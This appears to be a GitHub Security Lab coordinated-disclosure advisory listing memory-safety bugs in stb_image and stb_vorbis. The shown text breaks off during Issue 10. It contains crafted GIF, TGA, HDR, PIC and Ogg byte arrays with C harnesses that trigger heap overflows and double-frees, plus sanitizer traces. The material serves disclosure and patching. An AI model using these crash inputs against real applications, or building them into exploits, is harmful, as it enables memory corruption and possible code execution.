skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
October 19, 2023

GHSL-2023-145_GHSL-2023-151/GHSL-2023-165_GHSL-2023-172: Several memory access violations in stb_image and stb_vorbis

Jaroslav Lobacevski

Coordinated Disclosure Timeline

Summary

stb_image.h and stb_vorbis libraries contain several memory access violations of different severity.

  1. Wild address read in stbi__gif_load_next (GHSL-2023-145).
  2. Multi-byte read heap buffer overflow in stbi__vertical_flip (GHSL-2023-146).
  3. Disclosure of uninitialized memory in stbi__tga_load (GHSL-2023-147).
  4. Double-free in stbi__load_gif_main_outofmem (GHSL-2023-148).
  5. Null pointer dereference in stbi__convert_format (GHSL-2023-149).
  6. Possible double-free or memory leak in stbi__load_gif_main (GHSL-2023-150).
  7. Null pointer dereference because of an uninitialized variable (GHSL-2023-151).
  8. 0 byte write heap buffer overflow in start_decoder (GHSL-2023-165)
  9. Multi-byte write heap buffer overflow in start_decoder (GHSL-2023-166)
  10. Heap buffer out of bounds write in start_decoder (GHSL-2023-167)
  11. Off-by-one heap buffer write in start_decoder (GHSL-2023-168)
  12. Attempt to free an uninitialized memory pointer in vorbis_deinit (GHSL-2023-169)
  13. Null pointer dereference in vorbis_deinit (GHSL-2023-170)
  14. Out of bounds heap buffer write (GHSL-2023-171)
  15. Wild address read in vorbis_decode_packet_rest (GHSL-2023-172)

Product

stb_image.h and stb_vorbis

Tested Version

stb_image - v2.28
stb_vorbis - v1.22

Details

Issue 1: Wild address read in stbi__gif_load_next (GHSL-2023-145)

A crafted image file may trigger out of bounds memcpy read in stbi__gif_load_next. This happens because two_back points to a memory address lower than the start of the buffer out.

Impact

This issue may be used to leak internal memory allocation information. s

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x00,0xdf,0x79,0xa9,0x97,0x53,
                            0x43,0x05,0xff,0xbe,0x21,0x00,0x30,0x03,0x01,0x00,0x21,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x3f,0x71,0x07,0x00,0x05,0xff,0xbe,
                            0x01,0x00,0x68,0x00,0x21,0xf9,0x04,0x2c,0x0a,0x00,0x1f,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x71,0x00,0x00,0x05,0xff,0xe0,0x27,
                            0x8e,0x64,0x68};
    size_t size = sizeof(data);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==34019==ERROR: AddressSanitizer: SEGV on unknown address 0x7efdf91e0ae8 (pc 0x7efe05a0ac23 bp 0x7ffd4ee08700 sp 0x7ffd4ee07ec8 T0)
==34019==The signal is caused by a READ memory access.
    #2 0x4e4156 in stbi__gif_load_next(stbi__context*, stbi__gif*, int*, int, unsigned char*) tests/../stb_image.h:6817:16
    #3 0x4dee75 in stbi__load_gif_main(stbi__context*, int**, int*, int*, int*, int*, int) tests/../stb_image.h:6983:14
    #4 0x4de8bd in stbi_load_gif_from_memory tests/../stb_image.h:1448:30

Issue 2: Multi-byte read heap buffer overflow in stbi__vertical_flip (GHSL-2023-146)

When stbi_set_flip_vertically_on_load is set to TRUE and req_comp is set to a number that doesn’t match the real number of components per pixel, the library attempts to flip the image vertically.

stbi_set_flip_vertically_on_load(1);
stbi_uc *img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, 2);

A crafted image file can trigger memcpy [3] out-of-bounds read because bytes_per_pixel [1] used to calculate bytes_per_row [2] doesn’t match the real image array dimensions.

static void stbi__vertical_flip(void *image, int w, int h, int bytes_per_pixel /* [1] */)
{
   int row;
   size_t bytes_per_row = (size_t)w * bytes_per_pixel; // [2]
   stbi_uc temp[2048];
   stbi_uc *bytes = (stbi_uc *)image;

   for (row = 0; row < (h>>1); row++) {
      stbi_uc *row0 = bytes + row*bytes_per_row;
      stbi_uc *row1 = bytes + (h - row - 1)*bytes_per_row;
      // swap row0 with row1
      size_t bytes_left = bytes_per_row;
      while (bytes_left) {
         size_t bytes_copy = (bytes_left < sizeof(temp)) ? bytes_left : sizeof(temp);
         memcpy(temp, row0, bytes_copy);
         memcpy(row0, row1, bytes_copy); // [3] OOB
         memcpy(row1, temp, bytes_copy);
         row0 += bytes_copy;
         row1 += bytes_copy;
         bytes_left -= bytes_copy;
      }
   }
}

The reason for this is that stbi_load_gif_from_memory calls stbi__vertical_flip_slices [5] with the number of bytes per pixel in the loaded image - comp, however stbi__load_gif_main [4] internally converts the image to requested number of bytes per pixel.

STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
   unsigned char *result;
   stbi__context s;
   stbi__start_mem(&s,buffer,len);

   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp); // [4]
   if (stbi__vertically_flip_on_load) {
      stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); // [5]
   }

   return result;
}
static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
...
      // do the final conversion after loading everything;
      if (req_comp && req_comp != 4)
         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h);

Impact

This issue may be used to leak internal memory allocation information.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x00,0xdf,0x79,0xa9,0x97,
                            0x66,0x4f,0x4e,0x4c,0xda,0x21,0xf9,0x04,0x09,0x0a,0x00,0x1f,
                            0x00,0x2c};
    size_t size = sizeof(data);

    stbi_set_flip_vertically_on_load(1);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 2);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
==58950==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f5f9fe18b98 at pc 0x00000049db51 bp 0x7ffdf2aed0f0 sp 0x7ffdf2aec8c0
READ of size 756 at 0x7f5f9fe18b98 thread T0
    #0 0x49db50 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
    #1 0x4e2608 in stbi__vertical_flip(void*, int, int, int) tests/../stb_image.h:1235:10
    #2 0x4dfaee in stbi__vertical_flip_slices(void*, int, int, int, int) tests/../stb_image.h:1252:7
    #3 0x4dea9b in stbi_load_gif_from_memory tests/../stb_image.h:1450:7

Issue 3: Disclosure of uninitialized memory in stbi__tga_load (GHSL-2023-147)

The stbi__getn function reads a specified number of bytes from context (typically a file) into the specified buffer. In case the file stream points to the end, it returns zero. There are two places where its return value is not checked:

  1. In stbi__hdr_load
  2. In stbi__tga_load

The first case is harder to exploit because the initialized memory is mixed in different arithmetic operations:

static void stbi__hdr_convert(float *output, stbi_uc *input, int req_comp)
{
   if ( input[3] != 0 ) {
      float f1;
      // Exponent
      f1 = (float) ldexp(1.0f, input[3] - (int)(128 + 8));
      if (req_comp <= 2)
         output[0] = (input[0] + input[1] + input[2]) * f1 / 3;
      else {
         output[0] = input[0] * f1;
         output[1] = input[1] * f1;
         output[2] = input[2] * f1;
      }

However the second case in stbi__tga_load gives much powerful capabilities because the attacker can control the size of the uninitialized buffer ([1] and [2]) and the uninitialized memory can be loaded into the image without transformations.

...
   tga_data = (unsigned char*)stbi__malloc_mad3(tga_width, tga_height, tga_comp, 0); // [1]
   if (!tga_data) return stbi__errpuc("outofmem", "Out of memory");

   // skip to the data's starting position (offset usually = 0)
   stbi__skip(s, tga_offset );

   if ( !tga_indexed && !tga_is_RLE && !tga_rgb16 ) {
      for (i=0; i < tga_height; ++i) {
         int row = tga_inverted ? tga_height -i - 1 : i;
         stbi_uc *tga_row = tga_data + row*tga_width*tga_comp;
         stbi__getn(s, tga_row, tga_width * tga_comp); // [2]
      }
...

Impact

Information disclosure.

Resources

To reproduce the issue in stbi__hdr_load:

  1. Make MSAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x23,0x3f,0x52,0x47,0x42,0x45,0x0a,0x46,0x4f,0x52,
                            0x4d,0x41,0x54,0x3d,0x33,0x32,0x2d,0x62,0x69,0x74,
                            0x5f,0x72,0x6c,0x65,0x5f,0x72,0x67,0x62,0x65,0x0a,
                            0x0a,0x2d,0x59,0x20,0x39,0x2b,0x58,0x20,0x38,0x30};
    size_t size = sizeof(data);

    int x, y, channels;
    stbi_uc *img = stbi_load_from_memory(data, size, &x, &y, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Set breakpoint at stbi__hdr_convert and run the program. The second hit is before the usage of the uninitialized memory.
==118355==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x5f15fa in stbi__hdr_convert(float*, unsigned char*, int) tests/../stb_image.h:7132:9
    #1 0x4e54be in stbi__hdr_load(stbi__context*, int*, int*, int*, int, stbi__result_info*) tests/../stb_image.h:7222:13
    #2 0x4b1a94 in stbi__loadf_main(stbi__context*, int*, int*, int*, int) tests/../stb_image.h:1464:25
    #3 0x4b1375 in stbi_loadf_from_memory tests/../stb_image.h:1480:11

Issue 4: Double-free in stbi__load_gif_main_outofmem (GHSL-2023-148)

A crafted image file can trigger stbi__load_gif_main_outofmem attempt to double-free the out variable. [1]

static void *stbi__load_gif_main_outofmem(stbi__gif *g, stbi_uc *out, int **delays)
{
   STBI_FREE(g->out);
   STBI_FREE(g->history);
   STBI_FREE(g->background);

   if (out) STBI_FREE(out); // [1] Double-free
   if (delays && *delays) STBI_FREE(*delays);
   return stbi__errpuc("outofmem", "Out of memory");
}

This happens in stbi__load_gif_main because when the layers * stride is zero [2] the behavior is implementation defined, but common that realloc frees the old memory and returns null pointer. Since it attempts to double-free the memory [3] a few lines below the first “free” [2], the issue can be potentially exploited only in a multi-threaded environment.

...
 void *tmp = (stbi_uc*) STBI_REALLOC_SIZED( out, out_size, layers * stride ); // [2]
 if (!tmp)
    return stbi__load_gif_main_outofmem(&g, out, delays); // [3]
...

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0x00,0x00,0x00,0x00,0xf8,0x0a,0xdc,
                            0x04,0xfc,0x00,0x46,0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x46,0x00,0x00,0x2c,0x00,0x00};
    size_t size = sizeof(data);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
==145841==ERROR: AddressSanitizer: attempting double-free on 0x602000000070 in thread T0:
    #0 0x49e522 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x4eb732 in stbi__load_gif_main_outofmem(stbi__gif*, unsigned char*, int**) tests/../stb_image.h:6957:13
    #2 0x4df18f in stbi__load_gif_main(stbi__context*, int**, int*, int*, int*, int*, int) tests/../stb_image.h:6995:26
    #3 0x4de8bd in stbi_load_gif_from_memory tests/../stb_image.h:1448:30

Issue 5: Null pointer dereference in stbi__convert_format (GHSL-2023-149)

A crafted image file can trigger null pointer access in stbi__convert_format where src is null. It happens when stbi__pic_load_core in stbi__pic_load fails, the result is set to zero [1], but the flow continues [2].

   if (!stbi__pic_load_core(s,x,y,comp, result)) {
      STBI_FREE(result);
      result=0; // [1]
   }
   *px = x;
   *py = y;
   if (req_comp == 0) req_comp = *comp;
   result=stbi__convert_format(result,4,req_comp,x,y); // [2]

Impact

This issue may lead to denial of service.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x53,0x80,0xf6,0x34,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x40,0x00,0x08,0x01,0x20,0xff,0x10,0x40,
                            0x74,0x72,0x74,0x65,0x69,0xab,0x4c,0x65,0x31,0x6e,
                            0x20,0x62,0x79,0x20,0x6d,0x65,0x6e,0x74,0x61,0x6c,
                            0x20,0x69,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,
                            0x49,0x43,0x54,0x00,0x50,0x49,0x43,0x57,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,
                            0x08,0x01,0x20,0xff,0x10,0x6e,0x74,0x61,0x6c,0x20,
                            0x69,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x49,
                            0x43,0x54,0x00,0x50,0x54,0x20,0x10};
    size_t size = sizeof(data);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_from_memory(data, size, &x, &y, &channels, 2);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
==183891==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004f944d bp 0x7ffefb18fe50 sp 0x7ffefb18fa00 T0)
==183891==The signal is caused by a READ memory access.
==183891==Hint: address points to the zero page.
    #0 0x4f944d in stbi__convert_format(unsigned char*, int, int, unsigned int, unsigned int) tests/../stb_image.h:1786:52
    #1 0x4ecdbe in stbi__pic_load(stbi__context*, int*, int*, int*, int, stbi__result_info*) tests/../stb_image.h:6535:11
    #2 0x4e463b in stbi__load_main(stbi__context*, int*, int*, int*, int, stbi__result_info*, int) tests/../stb_image.h:1159:35
    #3 0x4dc48f in stbi__load_and_postprocess_8bit(stbi__context*, int*, int*, int*, int) tests/../stb_image.h:1261:19
    #4 0x4de334 in stbi_load_from_memory tests/../stb_image.h:1431:11

Issue 6: Possible double-free or memory leak in stbi__load_gif_main (GHSL-2023-150)

It may look like stbi__load_gif_main doesn’t give guarantees about the content of output value *delays upon failure. Although it sets *delays to zero at the beginning [1], it doesn’t do it in case the image is not recognized as GIF [2] and a call to stbi__load_gif_main_outofmem only frees possibly allocated memory in *delays without resetting it to zero in [3], [4], [5] and [6]. Thus it would be fair to say the caller of stbi__load_gif_main is responsible to free the allocated memory in *delays only if stbi__load_gif_main returns a non null value. However at the same time the function may return null value, but fail to free the memory in *delays if internally stbi__convert_format is called and fails [7].

static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
   if (stbi__gif_test(s)) {
...
      if (delays) {
         *delays = 0; // [1]
      }

      do {
         u = stbi__gif_load_next(s, &g, comp, req_comp, two_back);
         if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker

         if (u) {
            *x = g.w;
            *y = g.h;
            ++layers;
            stride = g.w * g.h * 4;

            if (out) {
               void *tmp = (stbi_uc*) STBI_REALLOC_SIZED( out, out_size, layers * stride );
               if (!tmp)
                  return stbi__load_gif_main_outofmem(&g, out, delays); // [3]
               else {
                   out = (stbi_uc*) tmp;
                   out_size = layers * stride;
               }

               if (delays) {
                  int *new_delays = (int*) STBI_REALLOC_SIZED( *delays, delays_size, sizeof(int) * layers );
                  if (!new_delays)
                     return stbi__load_gif_main_outofmem(&g, out, delays); // [4]
                  *delays = new_delays;
                  delays_size = layers * sizeof(int);
               }
            } else {
               out = (stbi_uc*)stbi__malloc( layers * stride );
               if (!out)
                  return stbi__load_gif_main_outofmem(&g, out, delays); // [5]
               out_size = layers * stride;
               if (delays) {
                  *delays = (int*) stbi__malloc( layers * sizeof(int) );
                  if (!*delays)
                     return stbi__load_gif_main_outofmem(&g, out, delays); // [6]
                  delays_size = layers * sizeof(int);
               }
            }
            memcpy( out + ((layers - 1) * stride), u, stride );
            if (layers >= 2) {
               two_back = out - 2 * stride;
            }

            if (delays) {
               (*delays)[layers - 1U] = g.delay;
            }
         }
      } while (u != 0);

...

      // do the final conversion after loading everything;
      if (req_comp && req_comp != 4)
         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h); // [7]

      *z = layers;
      return out;
   } else {
      return stbi__errpuc("not GIF", "Image was not as a gif type."); // [2]
   }
}

Thus the issue may lead to a memory leak if the caller chooses to free delays only when stbi__load_gif_main didn’t fail:

    int* delays = NULL;
    img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, req_comp);
    if (img)
      free(delays);
    stbi_image_free(img);

or to a double-free if the delays is always freed (since calling free(NULL) is safe).

    int* delays = NULL;
    img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, req_comp);
    free(delays);
    stbi_image_free(img);

Code search finds both usage scenarios in the wild.

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x21,0xfe,0x79,0xa9,0x97,0x53,
                            0x43,0x05,0xff,0xbe,0x21,0x00,0x30,0x03,0x01,0x00,0x21,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x3f,0x71,0x07,0x00,0x05,0xff,0xbe,
                            0x01,0x00,0x00,0x00,0x21,0xf9,0x04,0x09,0x0a,0x00,0x1f,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x71,0x00,0x00,0x05,0xff,0xe0,0x27,
                            0x8e,0x64,0x69,0x9e,0x68,0xaa,0xae,0x01,0x00,0x00,0x01,0x2c,0xcf,
                            0x74,0x6d,0xdf,0x78,0xae,0xef,0x7c,0x01,0x4f,0xc0,0xa0,0x70,0x48,
                            0x2c,0x1a,0x21,0x01,0x12,0x72,0xc9,0x6c,0x3a,0x9f,0x21,0xfe,0x74,
                            0x4a,0xad,0x5a,0x8f,0xd8,0xac,0x76,0xcb,0xed,0x7a,0xbf,0xe0,0xb0,
                            0x78};
    size_t size = sizeof(data);

    int x, y, z, channels;
    int* delays = NULL;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, 4);
    free(delays);
    stbi_image_free(img);
    return 0;
}
  1. Run the program with ASAN with an instruction that allocator may fail (otherwise ASAN will quit early with AddressSanitizer: requested allocation size ... exceeds maximum supported size): ASAN_OPTIONS=allocator_may_return_null=1 <program name> to hit the error.
==253229==ERROR: AddressSanitizer: attempting double-free on 0x602000000010 in thread T0:
    #0 0x49e542 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x4e4064 in main tests/repro.c:22:5

Issue 7: Null pointer dereference because of an uninitialized variable (GHSL-2023-151)

If stbi__load_gif_main in stbi_load_gif_from_memory [1] fails it returns a null pointer and may keep the z variable uninitialized. In case the caller also sets the flip vertically flag [2], it continues and calls stbi__vertical_flip_slices [3] with the null pointer result value and the uninitialized z value.

STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
   unsigned char *result;
   stbi__context s;
   stbi__start_mem(&s,buffer,len);

   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp); // [1]
   if (stbi__vertically_flip_on_load) { // [2]
      stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); // [3]
   }

   return result;
}

It depends on the value of z [4] if the program enters the loop and attempts to dereference the null pointer value in stbi__vertical_flip [5].

static void stbi__vertical_flip_slices(void *image, int w, int h, int z, int bytes_per_pixel)
{
   int slice;
   int slice_size = w * h * bytes_per_pixel;

   stbi_uc *bytes = (stbi_uc *)image;
   for (slice = 0; slice < z; ++slice) { // [4]
      stbi__vertical_flip(bytes, w, h, bytes_per_pixel); // [5]
      bytes += slice_size;
   }
}

Impact

This issue may lead to denial of service.

Resources

To reproduce the issue in stbi__vertical_flip_slices:

  1. Make MSAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x35,0xff};
    size_t size = sizeof(data);

    stbi_set_flip_vertically_on_load(1);
    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Set breakpoint at line 1251 in stbi__vertical_flip_slices and run the program to hit the usage of the uninitialized memory.
==292219==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x4b0ad6 in stbi__vertical_flip_slices(void*, int, int, int, int) tests/../stb_image.h:1251:4
    #1 0x4ad19e in stbi_load_gif_from_memory tests/../stb_image.h:1450:7

Issue 8: 0 byte write heap buffer overflow in start_decoder (GHSL-2023-165)

A crafted file may trigger out of bounds write in f->vendor[len] = (char)'\0'; [1]. The root cause is that if len read in start_decoder [2] is -1 and len + 1 becomes 0 when passed to setup_malloc in [3].

   len = get32_packet(f); // [2]
   f->vendor = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [3]
   if (f->vendor == NULL)                           return error(f, VORBIS_outofmem);
   for(i=0; i < len; ++i) {
      f->vendor[i] = get8_packet(f);
   }
   f->vendor[len] = (char)'\0'; // [1]

The setup_malloc behaves differently when f->alloc.alloc_buffer is pre-allocated. Instead of returning NULL as in malloc case [4] it shifts the pre-allocated buffer by zero and returns the currently available memory block.

static void *setup_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
   f->setup_memory_required += sz;
   if (f->alloc.alloc_buffer) {
      void *p = (char *) f->alloc.alloc_buffer + f->setup_offset; // [5]
      if (f->setup_offset + sz > f->temp_offset) return NULL;
      f->setup_offset += sz;
      return p;
   }
   return sz ? malloc(sz) : NULL; // [4]
}

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0xac,0xf4,0x30,
                            0x19,0x50,0x13,0x00,0x68,0x00,0x00,0x00,0x21,
                            0x00,0x40,0x00,0x00,0x00,0x7e,0x84,0x04,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x05,0x00,0x45,0xc5,0x87,0x03,
                            0x00,0x04,0x00,0x02,0x00,0x08,0x00,0x00,0x01,
                            0x00,0x2e,0xa9,0xcb,0x4f,0x67,0x67,0x53,0x00,
                            0x28,0x00,0x00,0xf7,0xff,0xff,0x7f,0x68,0x00,
                            0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x76,0x6f,
                            0x72,0x73,0x00,0x00,0x03,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0xff,0xff,0xff,0xff};
    size_t size = sizeof(data);

    stb_vorbis_alloc alloc;
    int alloc_buffer_length = 600 * 1024;
    alloc.alloc_buffer = (char*)malloc(alloc_buffer_length);
    alloc.alloc_buffer_length_in_bytes = alloc_buffer_length;
    int err;
    stb_vorbis* out = stb_vorbis_open_memory(data, size, &err, &alloc);
    stb_vorbis_close(out);
    free(alloc.alloc_buffer);
    return 0;
}
  1. Run the program to hit the error.
==93713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f37941697ff at pc 0x0000004e41ed bp 0x7ffe67641670 sp 0x7ffe67641668
WRITE of size 1 at 0x7f37941697ff thread T0
    #0 0x4e41ec in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3658:19
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8

Issue 9: Multi-byte write heap buffer overflow in start_decoder (GHSL-2023-166)

A crafted file may trigger out of bounds write in f->vendor[i] = get8_packet(f);. The root cause is an integer overflow in setup_malloc. A sufficiently large sz overflows sz+7 in [1] and the negative value passes the maximum available memory buffer check in [2].

static void *setup_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs. // [1] Int overflow
   f->setup_memory_required += sz;
   if (f->alloc.alloc_buffer) {
      void *p = (char *) f->alloc.alloc_buffer + f->setup_offset;
      if (f->setup_offset + sz > f->temp_offset) return NULL; // [2] Negative int passes the check
      f->setup_offset += sz;
      return p;
   }
   return sz ? malloc(sz) : NULL;
}

Similar overflow exists in setup_temp_malloc at [3]

static void *setup_temp_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs. // [3]
   if (f->alloc.alloc_buffer) {
      if (f->temp_offset - sz < f->setup_offset) return NULL;
      f->temp_offset -= sz;
      return (char *) f->alloc.alloc_buffer + f->temp_offset;
   }
   return malloc(sz);
}

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0xff,0xb8,0x03,
                            0x00,0xff,0x20,0xff,0x00,0x21,0x68,0x00,0x00,
                            0x00,0x00,0x00,0x00,0xa0,0x6a,0xab,0x75,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x01,0x31,0xef,0xf9,0xfe,0x00,
                            0x00,0x09,0x00,0x00,0x71,0x02,0x10,0x00,0x08,
                            0x00,0x9f,0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,
                            0x00,0x1c,0x00,0x80,0xff,0x01,0x40,0x21,0x68,
                            0x00,0x00,0x01,0x00,0x00,0x00,0xfe,0xff,0xff,
                            0x7f,0x00,0x00,0x00,0x03,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0xfe,0xff,0xff,0x7f};
    size_t size = sizeof(data);

    stb_vorbis_alloc alloc;
    int alloc_buffer_length = 600 * 1024;
    alloc.alloc_buffer = (char*)malloc(alloc_buffer_length);
    alloc.alloc_buffer_length_in_bytes = alloc_buffer_length;
    int err;
    stb_vorbis* out = stb_vorbis_open_memory(data, size, &err, &alloc);
    stb_vorbis_close(out);
    free(alloc.alloc_buffer);
    return 0;
}
  1. Run the program to hit the error.
==95610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f0f5eaff800 at pc 0x0000004e4133 bp 0x7fff88645e30 sp 0x7fff88645e28
WRITE of size 1 at 0x7f0f5eaff800 thread T0
    #0 0x4e4132 in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3656:20
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8

Issue 10: Heap buffer out of bounds write in start_decoder (GHSL-2023-167)

A crafted file may trigger out of bounds write in f->vendor[len] = (char)'\0'; [1]. The root cause is that if len read in start_decoder [2] is a negative number and setup_malloc [3] successfully allocates memory in that case [4], but memory write is done with a negative index len [1].

   len = get32_packet(f); // [2]
   f->vendor = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [3]
   if (f->vendor == NULL)                           return error(f, VORBIS_outofmem);
   for(i=0; i < len; ++i) {
      f->vendor[i] = get8_packet(f);
   }
   f->vendor[len] = (char)'\0'; // [1]

...

static void *setup_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
   f->setup_memory_required += sz;
   if (f->alloc.alloc_buffer) {
      void *p = (char *) f->alloc.alloc_buffer + f->setup_offset; // [4]
      if (f->setup_offset + sz > f->temp_offset) return NULL;
      f->setup_offset += sz;
      return p;
   }
   return sz ? malloc(sz) : NULL;
}

Same vulnerability exists in setup_temp_malloc at [5]

static void *setup_temp_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
   if (f->alloc.alloc_buffer) {
      if (f->temp_offset - sz < f->setup_offset) return NULL; // [5]
      f->temp_offset -= sz;
      return (char *) f->alloc.alloc_buffer + f->temp_offset;
   }
   return malloc(sz);
}

Similarly if len is INT_MAX the integer overflow len+1 happens in f->vendor = (char*)setup_malloc(f, sizeof(char) * (len+1)); [1] and f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1)); [6]. This case however allows writing multiple times past the end of the internal f->alloc.alloc_buffer buffer.

   for(i=0; i < f->comment_list_length; ++i) {
      len = get32_packet(f);
      f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [6]
      if (f->comment_list[i] == NULL)               return error(f, VORBIS_outofmem);

      for(j=0; j < len; ++j) {
         f->comment_list[i][j] = get8_packet(f);
      }
      f->comment_list[i][len] = (char)'\0';
   }

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0xac,0xf4,0x30,
                            0x19,0x50,0x13,0x00,0x68,0x00,0x00,0x00,0x21,
                            0x00,0x40,0x00,0x00,0x00,0x7e,0x84,0x04,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x05,0x00,0x45,0xc5,0x87,0x03,
